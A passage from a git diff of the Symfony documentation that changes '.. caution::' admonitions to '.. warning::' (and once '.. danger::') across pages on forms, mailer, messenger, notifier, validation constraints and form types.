+.. warning::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
diff --git a/form/form_themes.rst b/form/form_themes.rst
index eb6f6f2ae22..8b82982edaa 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -177,7 +177,7 @@ of form themes:
 
     {# ... #}
 
-.. caution::
+.. warning::
 
     When using the ``only`` keyword, none of Symfony's built-in form themes
     (``form_div_layout.html.twig``, etc.) will be applied. In order to render
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 19b14b27bcd..2caa0afcdbe 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms::
 That's it! You have extracted duplicated field definitions to a separate
 location form that you can reuse wherever you need it.
 
-.. caution::
+.. warning::
 
     Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners.
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 111f1b77986..106eb4e7742 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments:
 ``null`` is guessed when you believe the value of the option should not be
 set.
 
-.. caution::
+.. warning::
 
     You should be very careful using the ``guessMaxLength()`` method. When the
     type is a float, you cannot determine a length (e.g. you want a float to be
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ea11e947fde..2a53d43dd33 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,7 +1,7 @@
 How to Unit Test your Forms
 ===========================
 
-.. caution::
+.. warning::
 
     This article is intended for developers who create
     :doc:`custom form types </form/create_custom_field_type>`. If you are using
@@ -121,7 +121,7 @@ variable exists and will be available in your form themes::
     Use `PHPUnit data providers`_ to test multiple form conditions using
     the same test code.
 
-.. caution::
+.. warning::
 
     When your type relies on the ``EntityType``, you should register the
     :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
diff --git a/form/without_class.rst b/form/without_class.rst
index 589f8a4739e..436976bdfcc 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -121,7 +121,7 @@ but here's a short example::
     submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid``
     constraint, unless you :doc:`disable validation </form/disabling_validation>`.
 
-.. caution::
+.. warning::
 
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
diff --git a/forms.rst b/forms.rst
index 107ab70f623..38006169cdb 100644
--- a/forms.rst
+++ b/forms.rst
@@ -876,7 +876,7 @@ pass ``null`` to it::
         }
     }
 
-.. caution::
+.. warning::
 
     When using a specific :doc:`form validation group </form/validation_groups>`,
     the field type guesser will still consider *all* validation constraints when
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ebf1e5f8304..061c4598bfa 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -95,7 +95,7 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-.. caution::
+.. warning::
 
     If you run the ``asset-map:compile`` command on your development machine,
     you won't see any changes made to your assets when reloading the page.
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index f98ac8b75a0..2ddff9de345 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
 
-.. caution::
+.. warning::
 
     Some of the documentation will use features that are specific to Symfony or
     Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d790611b511..1c6c6b05c08 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -82,7 +82,7 @@ in your ``package.json`` file.
     in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
     documentation.
 
-.. caution::
+.. warning::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
     stop and restart ``encore``.
@@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See
 Compiling Only a CSS File
 -------------------------
 
-.. caution::
+.. warning::
 
     Using ``addStyleEntry()`` is supported, but not recommended. A better option
     is to follow the pattern above: use ``addEntry()`` to point to a JavaScript
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index c24d2b3670b..d18026d3633 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -87,7 +87,7 @@ connections:
           }
       }
 
-.. caution::
+.. danger::
 
     Make sure to run the development server inside your virtual machine only;
     otherwise other computers can have access to it.
@@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
             options.allowedHosts = all;
         })
 
-.. caution::
+.. warning::
 
     Beware that `it's not recommended to set allowedHosts to all`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4d5e07acc61..394c79aed42 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content
 changes. Reverse proxies usually provide a channel to receive such
 notifications, typically through special HTTP requests.
 
-.. caution::
+.. warning::
 
     While cache invalidation is powerful, avoid it when possible. If you fail
     to invalidate something, outdated caches will be served for a potentially
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index aaf1de564c1..044430edcc3 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
 possible.
 
-.. caution::
+.. warning::
 
     The fragment listener only responds to signed requests. Requests are only
     signed when using the fragment renderer and the ``render_esi`` Twig
diff --git a/http_client.rst b/http_client.rst
index 9e9a74b973b..e7128f1bc66 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1076,7 +1076,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
 the remote server support it.
 
-.. caution::
+.. warning::
 
     If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
     decompression yourself.
diff --git a/lock.rst b/lock.rst
index 35c3dc5be3c..7e428312a82 100644
--- a/lock.rst
+++ b/lock.rst
@@ -194,7 +194,7 @@ To lock the default resource, autowire the lock factory using
         }
     }
 
-.. caution::
+.. warning::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
     multiple times inside the same process. When several services use the
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 9ad3a2f054c..3cac1d01ba5 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the
             }
         };
 
-.. caution::
+.. warning::
 
     The ``channels`` configuration only works for top-level handlers. Handlers
     that are nested inside a group, buffer, filter, fingers crossed or other
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 810abdd5b9f..ee9fb16c01c 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler->excludedHttpCode()->code(404);
         };
 
-.. caution::
+.. warning::
 
     Combining ``excluded_http_codes`` with a ``passthru_level`` lower than
     ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
diff --git a/mailer.rst b/mailer.rst
index 8e2e244c449..c1b30a06850 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
-.. caution::
+.. warning::
 
     If the username, password or host contain any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -82,7 +82,7 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
 ============  ========================================  ==============================================================
 
-.. caution::
+.. warning::
 
     When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
     command, you won't have error reporting and ``Bcc`` headers won't be removed.
@@ -229,20 +229,20 @@ party provider:
 
     The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
 
-.. caution::
+.. warning::
 
     If your credentials contain special characters, you must URL-encode them.
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
+.. warning::
 
     If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. caution::
+.. warning::
 
     If you send custom headers when using the `Amazon SES`_ transport (to receive
     them later via a webhook), make sure to use the ``ses+https`` provider because
@@ -773,7 +773,7 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. caution::
+.. warning::
 
     Some third-party providers don't support the usage of keywords like ``from``
     in the ``headers``. Check out your provider's documentation before setting
@@ -1201,7 +1201,7 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
-.. caution::
+.. warning::
 
     Signing and encrypting messages require their contents to be fully rendered.
     For example, the content of :ref:`templated emails <mailer-twig>` is rendered
@@ -1226,7 +1226,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
-.. caution::
+.. warning::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
     message. If you need to send a message to multiple recipients, you need
diff --git a/mercure.rst b/mercure.rst
index 58ffdde9182..f37c40ddee7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -442,7 +442,7 @@ Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
-.. caution::
+.. warning::
 
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
diff --git a/messenger.rst b/messenger.rst
index 87102811316..c86ae948b0c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -730,7 +730,7 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-.. caution::
+.. warning::
 
     During a deployment, something might be unavailable (e.g. the
     database) causing the consumer to fail to start. In this situation,
@@ -966,7 +966,7 @@ by setting its ``rate_limiter`` option:
             ;
         };
 
-.. caution::
+.. warning::
 
     When a rate limiter is configured on a transport, it will block the whole
     worker when the limit is hit. You should make sure you configure a dedicated
@@ -1532,7 +1532,7 @@ your Envelope::
         new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
-.. caution::
+.. warning::
 
     The consumers do not show up in an admin panel as this transport does not rely on
     ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes
@@ -1583,7 +1583,7 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. caution::
+.. warning::
 
     The datetime property of the messages stored in the database uses the
     timezone of the current system. This may cause issues if multiple machines
@@ -1775,7 +1775,7 @@ under the transport in ``messenger.yaml``:
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
@@ -2682,7 +2682,7 @@ That's it! You can now consume each transport:
 
     $ php bin/console messenger:consume async_priority_normal -vv
 
-.. caution::
+.. warning::
 
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
diff --git a/notifier.rst b/notifier.rst
index 7d5e395fb02..9801432e9aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -45,7 +45,7 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -327,7 +327,7 @@ information such as the message ID and the original message contents.
 Chat Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -370,7 +370,7 @@ Service                                  Package                               D
 
     The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
-.. caution::
+.. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
     the notifications will be sent through the MessageBus. If you don't have a
@@ -540,7 +540,7 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
diff --git a/profiler.rst b/profiler.rst
index 5ca47394402..1cdf3e57867 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -311,13 +311,13 @@ These are the method that you can define in the data collector class:
     from ``AbstractDataCollector``). If you need some services to collect the
     data, inject those services in the data collector constructor.
 
-    .. caution::
+    .. warning::
 
         The ``collect()`` method is only called once. It is not used to "gather"
         data but is there to "pick up" the data that has been stored by your
         service.
 
-    .. caution::
+    .. warning::
 
         As the profiler serializes data collector instances, you should not
         store objects that cannot be serialized (like PDO objects) or you need
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6d32065540c..63b1568da9f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -218,7 +218,7 @@ The **default value** is:
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
     Symfony forms.
 
-.. caution::
+.. warning::
 
     If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
     with this option, the kernel will ignore the ``_method`` parameter,
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f0b11f47064..93c65621999 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd``
 
-.. caution::
+.. warning::
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index a6944c241cf..f4c78a9642a 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -245,7 +245,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. caution::
+.. warning::
 
     Using a ``Closure`` together with attribute configuration will disable the
     attribute cache for that class/property/method because ``Closure`` cannot
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d2f151adea8..d5d78f60a0f 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -4,7 +4,7 @@ EqualTo
 Validates that a value is equal to another value, defined in the options.
 To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``==``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 0840a36aede..3930d898c7e 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -246,7 +246,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. caution::
+.. warning::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 507493b63d4..5b6d853dc0b 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options.
 To force that a value is *not* identical, see
 :doc:`/reference/constraints/NotIdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``===``, so ``3`` and ``"3"`` are *not*
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 37b03c35907..b8ee4cac32f 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the
 options. To force that a value is equal, see
 :doc:`/reference/constraints/EqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index ba28fdb7c45..9ea93dc4b86 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in
 the options. To force that a value is identical, see
 :doc:`/reference/constraints/IdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!==``, so ``3`` and ``"3"`` are
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0fab6467669..2c9aeccd755 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,14 +126,14 @@ between all of the rows in your user table:
             }
         }
 
-.. caution::
+.. warning::
 
     This constraint doesn't provide any protection against `race conditions`_.
     They may occur when another entity is persisted by an external process after
     this validation has passed and before this entity is actually persisted in
     the database.
 
-.. caution::
+.. warning::
 
     This constraint cannot deal with duplicates found in a collection of items
     that haven't been persisted as entities yet. You'll need to create your own
@@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them
             }
         }
 
-.. caution::
+.. warning::
 
     If you ``ignoreNull`` on fields that are part of a unique index in your
     database, you might see insertion errors when your application attempts to
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 2ea62bc9def..0c5a4fe1e26 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -573,7 +573,7 @@ can also register it manually:
     that defaults to ``0``. The higher the number, the earlier that warmers are
     executed.
 
-.. caution::
+.. warning::
 
     If your cache warmer fails its execution because of any exception, Symfony
     won't try to execute it again for the next requests. Therefore, your
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 906e91543f0..d064eedb02a 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -26,7 +26,7 @@ The component supports:
     Support for decimals without leading zeros and underscore separators were
     introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
     and 7 backslashes (``\\\\\\\\``) in a regex::
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 2a694ed45d2..fb0143228c1 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -64,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-.. caution::
+.. warning::
 
     In the previous translation format, placeholders were often wrapped in ``%``
     (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3637da8bdca..459ee060efe 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -95,7 +95,7 @@ method::
 You can also customize the `choice_name`_ of each choice. You can learn more
 about all of these options in the sections below.
 
-.. caution::
+.. warning::
 
     The *placeholder* is a specific field, when the choices are optional the
     first item in the list must be empty, so the user can unselect.
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index d584e4152b4..229e8ab966f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -101,7 +101,7 @@ can be used - with JavaScript - to create new form items dynamically on
 the client side. For more information, see the above example and
 :ref:`form-collections-new-prototype`.
 
-.. caution::
+.. warning::
 
     If you're embedding entire other forms to reflect a one-to-many database
     relationship, you may need to manually ensure that the foreign key of
@@ -121,7 +121,7 @@ submitted data will mean that it's removed from the final array.
 
 For more information, see :ref:`form-collections-remove`.
 
-.. caution::
+.. warning::
 
     Be careful when using this option when you're embedding a collection
     of objects. In this case, if any embedded forms are removed, they *will*
@@ -141,7 +141,7 @@ form you have to set this option to ``true``. However, existing collection entri
 will only be deleted if you have the allow_delete_ option enabled. Otherwise
 the empty values will be kept.
 
-.. caution::
+.. warning::
 
     The ``delete_empty`` option only removes items when the normalized value is
     ``null``. If the nested `entry_type`_ is a compound form type, you must
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 8913e639f23..aa3d8323910 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -54,7 +54,7 @@ Overridden Options
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the country type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index cca441ff930..9b7affe468c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -37,7 +37,7 @@ Overridden Options
 
 The choices option defaults to all currencies.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the currency type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..801bd6323f7 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -103,7 +103,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan
 the format and will throw a validation error. You can also configure the format
 that Symfony should expect via the `format`_ option.
 
-.. caution::
+.. warning::
 
     The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``)
     may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 627fb78d7ed..b317ac522f4 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -223,7 +223,7 @@ following:
 Whether or not to include days in the input. This will result in an additional
 input to capture days.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_weeks`_ is enabled.
 
@@ -276,7 +276,7 @@ input to capture seconds.
 Whether or not to include weeks in the input. This will result in an additional
 input to capture weeks.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_days`_ is enabled.
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index f30d5f9a5b2..0d900de377f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should
 return a ``QueryBuilder``. Returning ``null`` in the Closure will result in
 loading all entities.
 
-.. caution::
+.. warning::
 
     The entity used in the ``FROM`` clause of the ``query_builder`` option
     will always be validated against the class which you have specified at the
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b1bccd077d..d8f5247856b 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -71,7 +71,7 @@ Overridden Options
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the language type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 1868f20eda1..15b9af8b7fb 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -48,7 +48,7 @@ Overridden Options
 The choices option defaults to all locales. It uses the default locale to
 specify the language.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the locale type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9f98b49158b..1568ec891f9 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -72,9 +72,10 @@ html5
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
-.. caution::
+.. warning::
 
-    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+    As HTML5 number format is normalized, it is incompatible with the ``grouping``
+    option.
 
 scale
 ~~~~~
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index 4e5b1be4c87..04106ee7e21 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,4 +1,4 @@
-.. caution::
+.. warning::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index 4ec8abb6ffe..4268c307d17 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at `
 
     See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
 
-.. caution::
+.. warning::
 
     The configured value must be a valid form name. Make sure to only return
     valid names when using a callable. Valid form names must be composed of
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index c3562d0a8b1..34f86e7c4c6 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -16,7 +16,7 @@ an individual field, you can set it in the data option::
         'data' => 'abcdef',
     ]);
 
-.. caution::
+.. warning::
 
     The ``data`` option *always* overrides the value taken from the domain data
     (object) when rendering. This means the object value is also overridden when
diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index e654a7037df..b143b9438fe 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -22,7 +22,7 @@ initial value in the rendered form.
     :doc:`/form/use_empty_data` article for more details about these
     options.
 
-.. caution::
+.. warning::
 
     :doc:`Form data transformers </form/data_transformers>` will still be
     applied to the ``empty_data`` value. This means that an empty string will
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 1b63cc4b56f..f35f6d56b00 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form.
 This can be useful if you have a set of fields that are duplicated across
 multiple forms. See :doc:`/form/inherit_data_option`.
 
-.. caution::
+.. warning::
 
     When a field has the ``inherit_data`` option set, it uses the data of
     the parent form as is. This means that
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index ddbfff6660d..e4669faa7e4 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -6,7 +6,7 @@
 The value that's actually used as the value for the checkbox or radio button.
 This does not affect the value that's set on your object.
 
-.. caution::
+.. warning::
 
     To make a checkbox or radio button checked by default, use the `data`_
     option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 162985262e0..bd8ac19a061 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -49,7 +49,7 @@ Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
 object.
 
-.. caution::
+.. warning::
 
     To minimize the risk of leaking the plain password, this option can
     only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index cf56d3067de..47a32368b99 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -19,7 +19,7 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
-.. caution::
+.. warning::
 
     When allowing users to type HTML code in the textarea (or using a
     WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ce41c6ff74..e4ec432da08 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -115,7 +115,7 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
-.. caution::
+.. warning::
 
     When using different values for ``model_timezone`` and `view_timezone`_,
     a `reference_date`_ must be configured.
@@ -136,7 +136,7 @@ based on this date.
 When no `reference_date`_ is set the ``view_timezone`` defaults to the
 configured `model_timezone`_.
 
-.. caution::
+.. warning::
 
     When using different values for `model_timezone`_ and ``view_timezone``,
     a `reference_date`_ must be configured.
@@ -159,7 +159,7 @@ following:
   will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using
   seconds).
 
-.. caution::
+.. warning::
 
